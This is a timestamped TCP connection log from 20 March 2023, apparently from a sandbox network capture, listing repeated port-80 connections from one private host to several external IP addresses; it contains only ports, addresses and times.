Mar 20, 2023 15:21:52.013242006 CET	80	49887	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:52.013442993 CET	49887	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:52.870488882 CET	49889	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:53.028469086 CET	80	49889	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:53.028734922 CET	49889	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:53.028796911 CET	49889	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:53.398396969 CET	80	49889	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:54.541810989 CET	49889	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:54.699805021 CET	80	49889	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:54.699892998 CET	80	49889	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:54.700083017 CET	49889	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.557961941 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.718301058 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:55.718468904 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.719476938 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.719536066 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.719592094 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.879775047 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:55.879832983 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:55.879986048 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:55.880021095 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.880129099 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:55.880234003 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:56.040285110 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.040465117 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.040465117 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:56.040508986 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.040564060 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:56.040643930 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.040823936 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:56.040930986 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.040992022 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:56.041116953 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:56.041147947 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.200331926 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.200443983 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.200671911 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.200798035 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.200920105 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.201054096 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.201071978 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.201086998 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.201175928 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.201193094 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:56.411441088 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:57.228782892 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:57.389050007 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:57.389128923 CET	80	49891	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:57.389312983 CET	49891	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:58.244237900 CET	49892	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:58.400463104 CET	80	49892	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:58.400760889 CET	49892	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:58.400845051 CET	49892	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:21:58.576375008 CET	80	49892	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:58.576405048 CET	80	49892	23.83.160.9	192.168.11.20
Mar 20, 2023 15:21:58.576791048 CET	49892	80	192.168.11.20	23.83.160.9
Mar 20, 2023 15:23:35.605220079 CET	80	49892	23.83.160.9	192.168.11.20
Mar 20, 2023 15:23:40.660340071 CET	49897	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:40.672385931 CET	80	49897	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:40.672559023 CET	49897	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:40.672765017 CET	49897	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:40.684580088 CET	80	49897	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:40.692399979 CET	80	49897	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:40.692608118 CET	80	49897	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:40.692831039 CET	49897	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:42.179292917 CET	49897	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:43.195204973 CET	49898	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:43.207335949 CET	80	49898	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:43.207515955 CET	49898	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:43.207619905 CET	49898	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:43.219471931 CET	80	49898	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:43.225188017 CET	80	49898	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:43.225250959 CET	80	49898	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:43.225579977 CET	49898	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:44.710086107 CET	49898	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.725815058 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.738208055 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.738517046 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.739590883 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.739727974 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.752053022 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.752140045 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.752198935 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.752268076 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.752279043 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.752379894 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.752384901 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.752450943 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.752628088 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.752650023 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.752696037 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.752826929 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.752885103 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.753004074 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.753117085 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.759057999 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.759136915 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.759335995 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.764789104 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.764888048 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.765024900 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.765058041 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.765145063 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.765218019 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.765420914 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:45.765459061 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.765647888 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.765830994 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.766006947 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.766180038 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.777704954 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.777776957 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.778359890 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.778702021 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:45.818834066 CET	80	49899	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:47.240585089 CET	49899	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:48.256520987 CET	49900	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:48.268763065 CET	80	49900	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:48.269057035 CET	49900	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:48.269131899 CET	49900	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:48.281106949 CET	80	49900	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:48.288460970 CET	80	49900	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:48.288523912 CET	80	49900	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:48.288933039 CET	49900	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:48.289031982 CET	49900	80	192.168.11.20	81.17.29.148
Mar 20, 2023 15:23:48.301290035 CET	80	49900	81.17.29.148	192.168.11.20
Mar 20, 2023 15:23:53.484028101 CET	49902	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:53.496475935 CET	80	49902	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:53.496723890 CET	49902	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:53.496880054 CET	49902	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:53.509121895 CET	80	49902	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:53.516554117 CET	80	49902	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:53.516633987 CET	80	49902	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:53.517360926 CET	49902	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:55.004463911 CET	49902	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:56.020216942 CET	49903	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:56.032314062 CET	80	49903	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:56.032610893 CET	49903	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:56.032802105 CET	49903	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:56.044900894 CET	80	49903	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:56.051561117 CET	80	49903	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:56.051743984 CET	80	49903	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:56.052009106 CET	49903	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:57.535440922 CET	49903	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.550810099 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.563123941 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.563338041 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.564368010 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.564461946 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.576613903 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.576673031 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.576711893 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.576875925 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.577048063 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.577064037 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.577142954 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.577186108 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.577271938 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.577455997 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.583688974 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.583868027 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.583997011 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.589196920 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.589432001 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.589483023 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.589601040 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.589632034 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.589812994 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:23:58.589845896 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.589960098 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.590140104 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.590312958 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.590445042 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.601392984 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.601696014 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:23:58.601795912 CET	80	49904	81.17.18.196	192.168.11.20
Mar 20, 2023 15:24:00.066085100 CET	49904	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:24:01.081727982 CET	49905	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:24:01.094055891 CET	80	49905	81.17.18.196	192.168.11.20
Mar 20, 2023 15:24:01.094283104 CET	49905	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:24:01.094353914 CET	49905	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:24:01.106894970 CET	80	49905	81.17.18.196	192.168.11.20
Mar 20, 2023 15:24:01.114147902 CET	80	49905	81.17.18.196	192.168.11.20
Mar 20, 2023 15:24:01.114218950 CET	80	49905	81.17.18.196	192.168.11.20
Mar 20, 2023 15:24:01.114614964 CET	49905	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:24:01.114615917 CET	49905	80	192.168.11.20	81.17.18.196
Mar 20, 2023 15:24:01.127281904 CET	80	49905	81.17.18.196	192.168.11.20
Mar 20, 2023 15:24:06.317420006 CET	49906	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:06.346635103 CET	80	49906	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:06.346990108 CET	49906	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:06.346991062 CET	49906	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:06.376090050 CET	80	49906	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:06.377454042 CET	80	49906	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:06.377516985 CET	80	49906	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:06.377774000 CET	49906	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:07.861068010 CET	49906	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:08.876657963 CET	49907	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:08.905425072 CET	80	49907	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:08.905674934 CET	49907	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:08.905975103 CET	49907	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:08.935020924 CET	80	49907	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:08.944173098 CET	80	49907	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:08.944184065 CET	80	49907	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:08.944457054 CET	49907	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:10.407471895 CET	49907	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.423209906 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.452402115 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.453303099 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.454138041 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.454237938 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.483242989 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483303070 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483344078 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483382940 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483426094 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483464003 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483501911 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483515024 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.483541965 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483581066 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483617067 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.483620882 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.483675003 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.483880043 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.483972073 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.484019995 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.512506008 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.512566090 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.512681007 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.512721062 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.512814045 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.512934923 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.512989998 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.513056993 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.513154984 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.513252020 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:11.513328075 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.513492107 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.542006016 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.542067051 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.542107105 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.542145967 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.542395115 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.548823118 CET	80	49908	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:11.549149990 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:12.970582962 CET	49908	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:13.985023022 CET	49909	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:14.014030933 CET	80	49909	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:14.014226913 CET	49909	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:14.014424086 CET	49909	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:14.042989016 CET	80	49909	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:14.048507929 CET	80	49909	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:14.048536062 CET	80	49909	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:14.048861980 CET	49909	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:14.049074888 CET	49909	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:14.077711105 CET	80	49909	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:19.373871088 CET	49910	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:19.464381933 CET	80	49910	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:19.464632988 CET	49910	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:19.464874029 CET	49910	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:19.555341959 CET	80	49910	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:21.983155966 CET	49911	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:22.073684931 CET	80	49911	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:22.074093103 CET	49911	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:22.074193954 CET	49911	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:22.166464090 CET	80	49911	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:24.592133045 CET	49913	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:24.684026003 CET	80	49913	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:24.684292078 CET	49913	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:24.684920073 CET	49913	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:24.685022116 CET	49913	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:24.780301094 CET	80	49913	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:27.201014996 CET	49914	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:27.291939974 CET	80	49914	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:27.292268038 CET	49914	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:27.292392969 CET	49914	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:27.387752056 CET	80	49914	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:27.507333040 CET	80	49914	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:27.507350922 CET	80	49914	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:27.507364988 CET	80	49914	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:27.507497072 CET	80	49914	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:27.507633924 CET	49914	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:27.507705927 CET	49914	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:27.508364916 CET	49914	80	192.168.11.20	208.91.197.91
Mar 20, 2023 15:24:27.599189997 CET	80	49914	208.91.197.91	192.168.11.20
Mar 20, 2023 15:24:35.558468103 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.608093977 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.608547926 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.608892918 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.657989979 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.658771038 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.658818007 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.658855915 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.658891916 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.658929110 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.658965111 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.659145117 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.659190893 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.659189939 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.659189939 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.659231901 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.659269094 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.659358978 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.659672976 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.708435059 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.708482027 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.708543062 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.708843946 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.709106922 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709153891 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709192991 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709247112 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709284067 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709321022 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709355116 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709391117 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709402084 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.709402084 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.709458113 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.709539890 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.709611893 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709933043 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.709942102 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.709990025 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.710027933 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.710063934 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.710100889 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.710136890 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.710345030 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.710345030 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.710442066 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.710490942 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.710824013 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.758075953 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.758125067 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.758474112 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.758692980 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.758871078 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.758917093 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.758955956 CET	80	49915	88.212.206.251	192.168.11.20
